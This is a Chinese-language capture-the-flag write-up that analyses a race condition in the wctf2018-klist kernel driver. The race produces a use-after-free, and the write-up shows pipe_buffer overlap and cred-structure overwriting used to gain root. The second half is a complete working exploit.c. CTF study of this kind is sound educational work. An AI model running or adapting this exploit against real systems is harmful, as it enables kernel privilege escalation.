linux kernel pwn学习之条件竞争(一)
Linux kernel条件竞争
条件竞争发生在多线程多进程中,往往是因为没有对全局数据、函数进行加锁,导致多进程同时访问修改,使得数据与理想的不一致而引发漏洞。本节,我们从wctf2018-klist这题来分析一下条件竞争制造UAF的利用。
wctf2018-klist
首先,查看一下启动脚本,发现开启了smep机制,说明内核不能直接执行用户空间的代码
- qemu-system-x86_64 \
- -enable-kvm -cpu kvm64,+smep
- -kernel ./bzImage \
- -append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \
- -initrd ./rootfs.cpio -nographic -m 2G \
- -smp cores=2,threads=2,sockets=1 -monitor /dev/null \
- -nographic
然后,我们用IDA分析一下list.ko文件,open的时候,初始化了一个缓冲区,然后初始化了一个互斥锁
Read的时候,是从缓冲区里记录的节点里读取数据,每一步操作,都在互斥锁内部,说明这里执行时,其他线程会被排斥到外,直到当前线程执行完解锁。
Write的时候,同理,向缓冲区记录的节点里写数据
ioctl定义了增删改查的操作
Select_item函数的作用就是选择指定位置的节点记录到缓冲区里,这样才能对其进行read/write操作。全程都有互斥锁的保护。
创建节点,会把节点的used字段设置为1
Remove节点,全程没有显式的调用kfree函数,我们注意到put函数
Put函数里,对节点的used域做了原子减法减去1,如果结果为0,就会释放这个节点
配套的get函数,对节点的used域做了原子加法加1
所以,我们发现,remove_item里,都是用的put来释放节点,因为节点创建时,used=1,减去1就是0,就被释放了。我们发现,除了remove_item函数里,是put单独使用,其他函数里都是get和put配套使用。
比如这个select_item函数里,就是配套使用,由于都在互斥锁里,所以最后执行完毕,used的值不会变。照着这个思想,我们来看一下list_head函数,漏洞就在这里,put操作没有在锁内,并且是put(g_list),g_list就是整个链表的头节点
我们再回过头来看看创建节点时,采用的是头插法
并且,新节点的used域为1,假如,在list_head函数的get操作之后,put操作之前,另一个线程正好创建了一个新节点,把g_list赋值为了这个新节点,接下来put操作,将g_list的used减去1后发现为0,就会释放这个节点,然后却没有把g_list指向下一个节点,这就造成了堆的UAF。
内核堆的UAF很容易利用,一种方法是将tty_struct申请到这里,伪造ops指针,然后本题我们不能使用tty_struct,因为,我们没有权限打开/dev/ptmx设备,看看init脚本里设置了啥
- ...
- chown root:tty /dev/console
- chown root:tty /dev/ptmx
- chown root:tty /dev/tty
- ...
那么,我们在用第二种方法,之前,我们分析到,这个链表节点的结构是这样的
- struct list_node {
- int64_t used;
- size_t size;
- list_node *next;
- char buf[XX];
- }
我们如果能控制size域,将它赋值很大,那么,我们就能溢出堆,搜索内存里的cred结构,然后改写它,进而提权。然而,我们UAF只能控制buf数据区。有一个巧妙的方法就是利用pipe管道。在pipe创建管道的时候,会申请这样一个结构
- struct pipe_buffer {
- struct page *page;
- unsigned int offset, len;
- const struct pipe_buf_operations *ops;
- unsigned int flags;
- unsigned long private;
- };
其中,page是pipe存放数据的缓冲区,offset和len是数据的偏移和长度。比如,一开始,offset和len都是0,当我们write(pfd[1],buf,0x100);的时候,offset = 0,len = 0x100。然而,我们注意到,offset和len都是4字节数据,如果把它们拼在一起,凑成8字节,就是
0x10000000000,如果能够与list_node的size域对应起来,我们就能溢出堆了。
因此,我们一开始申请一个与pipe_buffer大小一样的堆,然后利用竞争释放后,创建一个管道,pipe_buffer就会申请到这里,接下来再write(pfd[1],buf,0x100),就能使得size域变得很大,那么我们就能溢出堆,进行内存搜索了。
我们的exploit.c程序
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
//pipe_buffer的大小,阅读源码可知
#define PIPE_BUFFER_SIZE 0x280
//驱动的fd
int fd;
//打开驱动
void initFD() {
fd = open("/dev/klist",O_RDWR);
if (fd < 0) {
printf("[-]open file error!!\n");
exit(-1);
}
}
//创建节点时,需要发送的数据
struct Data {
size_t size;
char *buf;
};
void addItem(char *buf,size_t size) {
struct Data data;
data.size = size;
data.buf = buf;
ioctl(fd,0x1337,&data);
}
void removeItem(int64_t index) {
ioctl(fd,0x1339,index);
}
void selectItem(int64_t index) {
ioctl(fd,0x1338,index);
}
void listHead(char *buf) {
ioctl(fd,0x133A,buf);
}
void listRead(void *buf,size_t size) {
read(fd,buf,size);
}
void listWrite(void *buf,size_t size) {
write(fd,buf,size);
}
//检查是否root成功
void checkWin(int i) {
while (1) {
sleep(1);
if (getuid() == 0) {
printf("Rooted in subprocess [%d]\n",i);
system("cat flag"); //我们很难getshell
exit(0);
}
}
}
#define BUF_SIZE PIPE_BUFFER_SIZE
#define UID 1000
char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];
void fillBuf() {
memset(bufA,'a',BUF_SIZE);
memset(bufB,'b',BUF_SIZE);
}
int main() {
initFD();
fillBuf();
addItem(bufA,BUF_SIZE-24);
selectItem(0);
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) {
//开这么多子进程程,是为了增加cred结构被分配到堆下方内存的成功率
for (int i=0;i<200;i++) {
if (fork() == 0) {
checkWin(i+1);
}
}
while (1) {
//与主线程的listHead竞争
addItem(bufA,BUF_SIZE-24);
selectItem(0);
removeItem(0);
addItem(bufB,BUF_SIZE-24);
listRead(buf2,BUF_SIZE-24);
if (buf2[0] != 'a') {
printf("race compete in child process!!\n");
break;
}
removeItem(0);
}
sleep(1);
//到这里,条件竞争成功
removeItem(0); //把空间腾出来
int pfd[2];
pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
write(pfd[1],bufB,BUF_SIZE);
size_t memLen = 0x1000000;
uint32_t *data = (uint32_t *)calloc(1,memLen);
listRead(data,memLen);
int count = 0;
size_t maxLen = 0;
for (int i=0;i<memLen/4;i++) {
if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
memset(data+i,0,28);
maxLen = i;
printf("[+]found cred!!\n");
if (count ++ > 2) {
break;
}
}
}
listWrite(data,maxLen * 4);
checkWin(0);
/*size_t *d = (size_t *)data;
for (int i=0;i<0x100000 / 8;i++) {
printf("0x%lx ",d[i]);
}*/
} else { //主线程
while (1) {
listHead(buf);
listRead(buf,BUF_SIZE-24);
if(buf[0] != 'a')
break;
}
}
return 0;
}